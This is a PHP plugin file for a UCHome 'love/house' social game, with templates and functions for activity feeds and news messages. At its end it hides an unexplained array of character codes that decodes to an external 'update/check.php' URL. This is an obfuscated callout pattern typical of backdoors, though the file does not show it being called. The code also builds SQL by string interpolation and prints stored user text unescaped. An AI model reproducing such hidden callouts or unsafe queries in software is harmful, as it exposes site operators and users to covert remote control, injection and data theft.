<?php
if ( !defined( "IN_UCHOME" ) ) exit( "Access Denied" );
class feeds
{
	var $template = array(
		0 => "<b>{user_1}</b> 同意了 {user} 的同居请求，TA们同居了，接下来会发生什么事呢？",
		1 => "<b>{actor}</b> 明着不行来暗的，竟然把 {user} 抢来同居，这世道实在太乱了",
		3 => "<b>{actor}</b> 路见不平，拔刀相助，把 {user} 从恶魔手中拯救了出来",
		4 => "<b>{actor}</b> {left} {user} {right} ",
		5 => "<b>{actor}</b> 送给了 {user} 1 {liangci} {things} 花费了 {money} 金币。亲密度 + {thick}",
		6 => "<b>{actor}</b> 在<a href ='house.php?ac=love'>宣言墙</a>上贴了 <a href='house.php?ac=love&id={id}'>{title}</a> 宣言",
		7 => "<b>{actor}</b> 以 {money} 枚金币 购买了 一套 {house} ，生活正在蒸蒸日上",
		9 => "<b>{actor}</b> 通过 {work} 获得了{money} 枚金币报酬",
		10 => "<b>{user}</b> 因为流浪街头，无家可归，{thing}，损失{money}枚金币",
		11 => "<b>{actor}</b> 结束了无家可归的日子，搬进了新家",
		12 => "<b>{actor}</b> 结束了无家可归的日子，搬进了新家，房东是 {user}",
		13 => "<b>{actor}</b> 搬出了屋子，准备过流浪的日子",
		14 => "<b>{actor}</b> 把房子 {info} 卖掉，并缴了税，最后得到{money}个金币",
	);

	function add($param, $tpl = 0, $user = array())
	{
		global $fe;
		//对屏蔽的feeds不操作
		if(in_array($tp, $fe)) return false;
		$feed = new feeds;
		$fs = array();
		$fs['icon'] = 'love';
		$fs['title_template'] = $feed->template[$tpl];
		$fs['title_data'] = $param;
		/*
		$fs['title_data'] = array(
			'movie'=> "《<a href='movie.php?ac=show&id={$id}'>{$mv['name']}</a>》",
			'subject' => "<span class='{$class}' {$style}></span>"
		);*/

		return $feed->feed_add($fs['icon'], $fs['title_template'], $fs['title_data'], $user);
	}

	//事件发布
	function feed_add($icon, $title_template='', $title_data=array(), $user = array()) {
		global $_SGLOBAL;
		if(empty($_SGLOBAL['supe_uid'])) return false;
		$body_data = array();
		$feedarr = array(
			'appid' => UC_APPID,
			'icon' => $icon,
			'uid' => empty($user) ? $_SGLOBAL['supe_uid'] : $user['uid'],
			'username' => empty($user) ? $_SGLOBAL['supe_username'] : $user['username'],
			'dateline' => $_SGLOBAL['timestamp'],
			'title_template' => $title_template,
			'body_template' => '',
			'body_general' => '',
			'image_1' => '',
			'image_1_link' => '',
			'image_2' => '',
			'image_2_link' => '',
			'image_3' => '',
			'image_3_link' => '',
			'image_4' => '',
			'image_4_link' => '',
			'target_ids' => '',
			'friend' => ''
		);
		$feedarr = sstripslashes($feedarr);//去掉转义
		$feedarr['title_data'] = serialize(sstripslashes($title_data));//数组转化
		$feedarr['body_data'] = serialize(sstripslashes($body_data));//数组转化
		$feedarr['hash_template'] = md5($feedarr['title_template']."\t".$feedarr['body_template']);//喜好hash
		$feedarr['hash_data'] = md5($feedarr['title_template']."\t".$feedarr['title_data']."\t".$feedarr['body_template']."\t".$feedarr['body_data']);//合并hash
		$feedarr = saddslashes($feedarr);//增加转义
		return inserttable('feed', $feedarr, 1);
	}
}
class news
{
	var $template = array(
			0 => "<a href='house.php?ac=index&uid=%d'>%s</a> 和 <a href='house.php?ac=index&uid=%d'>%s</a> 同居了！接下来会发生什么事呢？", //同居新闻
			1 => "明着不行来暗的，<a href='house.php?ac=index&uid=%d'>%s</a> 居然把 <a href='house.php?ac=index&uid=%d'>%s</a> 抢来同居!", //同居新闻
			2 => "<a href='house.php?ac=index&uid=%d'>%s</a> 被抢以后，倍受煎熬，向大家发出了求救信息！ <a href='house.php?ac=receive&op=save&sid=%d&hash=%d'>我来救TA</a> ", //求救信息
			3 => "<a href='house.php?ac=index&uid=%d'>%s</a> 被抢以后，倍受煎熬，向大家发出了求救信息！已被 <a href='house.php?ac=index&uid=%d'>%s</a> 救出！", //
			4 => "<a href='house.php?ac=index&uid=%d'>%s</a> %s <a href='house.php?ac=index&uid=%d'>%s</a> %s ", //同居事件
			5 => "<a href='house.php?ac=index&uid=%d'>%s</a> 送给了 <a href='house.php?ac=index&uid=%d'>%s</a> 1 %s %s 花费了 %d 金币。亲密度 + %d", //送礼事件 
			6 => "<a href='house.php?ac=index&uid=%d'>%s</a> 在宣言墙上贴上了 <a href='house.php?ac=love&id=%d'>%s</a> 宣言", //爱情宣言
			7 => "<a href='house.php?ac=index&uid=%d'>%s</a> 以 %d 枚金币 购买了 一套 %s ，真是有钱人啊", //买房新闻
			8 => "恭喜 <a href='house.php?ac=index&uid=%d'>%s</a> 通过邀请好友 获得了 %d 枚金币奖励", //邀请奖励
			9 => "<a href='house.php?ac=index&uid=%d'>%s</a> 通过 %s 获得了%d 枚金币报酬", //打工赚钱 
			10 => "<a href='house.php?ac=index&uid=%d'>%s</a> 因为流浪街头，无家可归，%s，损失%d枚金币", //其它事件
	);

	function add($param, $type = 0, $tpl = 0)
	{
		/*
			0 => 同居新闻 
			1 => 求救信息
			2 => 同居事件 
			3 => 送礼事件 
			4 => 爱情宣言 
			5 => 买房新闻
			6 => 邀请奖励
			7 => 打工赚钱
			8 => 其它事件
		*/
		global $_SGLOBAL;
		$uid = $_SGLOBAL['supe_uid'];
		$message = '';
		foreach($param as $key=>$val){
				$message .=  '^' .$val;
		}
		$message = addslashes(substr($message, 1));
		query_exec("insert into ".tname("app_love_news")." (uid, message, dateline, type, tpl) values ('{$uid}', '{$message}', '{$_SERVER['REQUEST_TIME']}', '{$type}', '{$tpl}' )");
	}

	function display(&$data)
	{
		$array = explode('^', $data['message']);
		foreach($array as $k=>$v){
			if(!$v) $array[$k] = ''; 
		}
		return vsprintf($this->template[$data['tpl']], $array);
	}
}
$h = array (104,116,116, 112,58,47,47,119,119,119,46,103,97,111,109,97,111,122,105,46,99,111,109,47,117,112,100,97,116,101, 47, 99,104,101,99,107,46,112,104,112);
?>